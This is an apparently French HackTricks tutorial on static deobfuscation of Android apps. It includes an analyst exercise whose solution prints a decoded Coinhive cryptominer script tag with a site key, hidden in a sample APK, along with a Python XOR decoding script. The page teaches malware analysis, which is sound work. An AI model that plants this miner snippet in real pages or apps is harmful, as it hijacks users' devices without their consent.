hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md
2023-06-03 13:10:46 +00:00

9.4 KiB

Il y a souvent des cas où l'application que vous inversez ne sera pas aussi simple que certains des exemples que nous avons discutés. Le développeur implémentera une ou plusieurs techniques d'obscurcissement pour masquer le comportement et/ou la mise en œuvre de leur application. Cela peut être pour des raisons à la fois bénignes et malveillantes.

La clé de l'obscurcissement à retenir est que si vous voulez le dé-obfusquer, vous pourrez le faire. La décision clé n'est pas de savoir si vous le pouvez ou non, mais si cela vaut la peine de dé-obfusquer les ressources.

La raison pour laquelle vous pouvez toujours dé-obfusquer quelque chose est que, finalement, le processeur doit voir le code non obscurci à un moment donné pour l'exécuter.

Comment dé-obfusquer

La façon dont vous choisissez de dé-obfusquer l'application dépendra de la méthode d'obscurcissement, mais il existe quelques techniques courantes qui fonctionnent généralement bien. Ici, nous ne toucherons qu'aux techniques de dé-obfuscation statique car cet atelier ne couvre que l'analyse/reversement statique. Cependant, n'oubliez pas que l'exécution de l'application et son analyse dynamique peuvent être un autre excellent moyen de contourner l'obscurcissement.

Pour l'obscurcissement dans le bytecode DEX (Java), l'un des moyens les plus simples de dé-obfusquer de manière statique est d'identifier les méthodes de dé-obfuscation dans l'application et de copier leur décompilation dans un fichier Java que vous exécutez ensuite sur le fichier obscurci, les chaînes, le code, etc.

Une autre solution pour Java et le code natif consiste à translittérer l'algorithme de dé-obfuscation en Python ou dans tout autre langage de script avec lequel vous êtes le plus à l'aise. Je dis "translittérer" car il est important de se rappeler que vous n'avez pas toujours besoin de *comprendre* l'algorithme de dé-obfuscation, vous avez juste besoin d'un moyen de l'exécuter. Je couvre cela en détail dans la présentation "Unpacking the Packed Unpacker" qui est liée dans la section "More Examples".

Indicateurs d'obscurcissement

Il existe de nombreux types d'obscurcissement et donc, tout autant de types d'indicateurs pour vous alerter en tant qu'analyste qu'une application est probablement obscurcie, mais voici quelques exemples avec des solutions d'analyse statique proposées pour la dé-obfuscation.

  • Pas de chaînes : Java et Android dépendent fortement des chaînes, donc si vous n'en voyez pas ou seulement des chaînes brouillées, il est très probable que les chaînes soient obscurcies.
    • Solution suggérée : Recherchez les appels de méthode qui prennent des chaînes en argument et remontez la trace de l'endroit où cet argument provient. À un moment donné, l'argument de chaîne passera par une méthode de dé-obfuscation avant d'être transmis à l'API qui prend l'argument String.
  • Chaînes brouillées : Les API Java et Android nécessitent des chaînes de texte brut, pas brouillées.
    • Solution suggérée : Les chaînes brouillées sont toutes susceptibles d'être passées aux mêmes méthodes avant d'être passées aux API. Ces méthodes sont probablement les méthodes de dé-obfuscation.
  • Fichiers binaires dans le répertoire assets/ et appels DexClassLoader dans l'application : Déballage et chargement de code supplémentaire probable. (Pourrait également être téléchargé à partir d'un emplacement distant, puis chargé à l'aide de DexClassLoader)
    • Solution suggérée : Identifiez où le fichier est lu, puis suivez le chemin. Il est probablement dé-obfusqué rapidement après avoir été lu.
  • Bibliothèques natives - Impossible d'identifier les fonctions JNI (pas de fonctions nommées Java_ et pas d'appels à RegisterNatives) : Pour exécuter des méthodes natives, JNI doit être capable d'apparier la fonction dans la bibliothèque native avec la déclaration de méthode native en Java et donc l'un des deux doit exister à un moment donné.
    • Solution suggérée : Commencez par la méthode JNI_OnLoad et recherchez une routine de dé-obfuscation qui charge du code supplémentaire.

Exercice 7 - Dé-obfuscation de chaînes

Dans cet exercice, nous allons pratiquer la dé-obfuscation de chaînes afin d'analyser une application. Pour l'exercice, nous utiliserons l'échantillon à ~/samples/ClashOfLights.apk dans la VM. Cet échantillon a la somme de contrôle SHA256 c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5.

Objectifs

Identifier les chaînes obscurcies et développer une solution pour les dé-obfusquer.

Contexte de l'exercice

Vous êtes un analyste de logiciels malveillants examinant cette application pour déterminer si elle est malveillante. Vous rencontrez une chaîne Javascript obscurcie qui est chargée et devez la dé-obfusquer pour déterminer si l'application est malveillante ou non. Vous ne pouvez pas exécuter l'application de manière dynamique et devez déterminer ce que fait le Javascript de manière statique.

Instructions

  1. Trouvez la chaîne que vous devez dé-obfusquer
  2. Identifiez la routine qui la dé-obfusque.
  3. Déterminez comment vous voulez écrire une solution pour dé-obfusquer la chaîne.
  4. Faites-le :)

Solution

La chaîne dé-obfusquée est :

<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>

Le script Python que j'ai écrit pour le dé-obfusquer est :

enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"

length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
    dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
    count += 2
print dec_str


key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
    dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
    count += 1
print ''.join(dec_str)

Plus d'exemples

J'ai donné plusieurs conférences sur la désobfuscation des applications Android qui incluent une variété de mécanismes d'obfuscation. Dans ces conférences, je discute des techniques d'obfuscation avancées, de ma solution pour les désobfusquer, ainsi que des considérations et choix que j'ai faits en décidant comment je voulais désobfusquer.

  • BlackHat USA 2018 : "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" [vidéo]
    • Cette conférence traite de l'ingénierie inverse d'une des bibliothèques natives anti-analyse les plus complexes que j'ai vues utilisées par une application Android. Elle couvre principalement les techniques d'obfuscation dans le code natif.
  • REcon 2019 : "The Path to the Payload: Android Edition" [vidéo]
    • Cette conférence aborde une série de techniques d'obfuscation, uniquement dans le code Java, qu'un botnet Android utilisait pour masquer son comportement.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥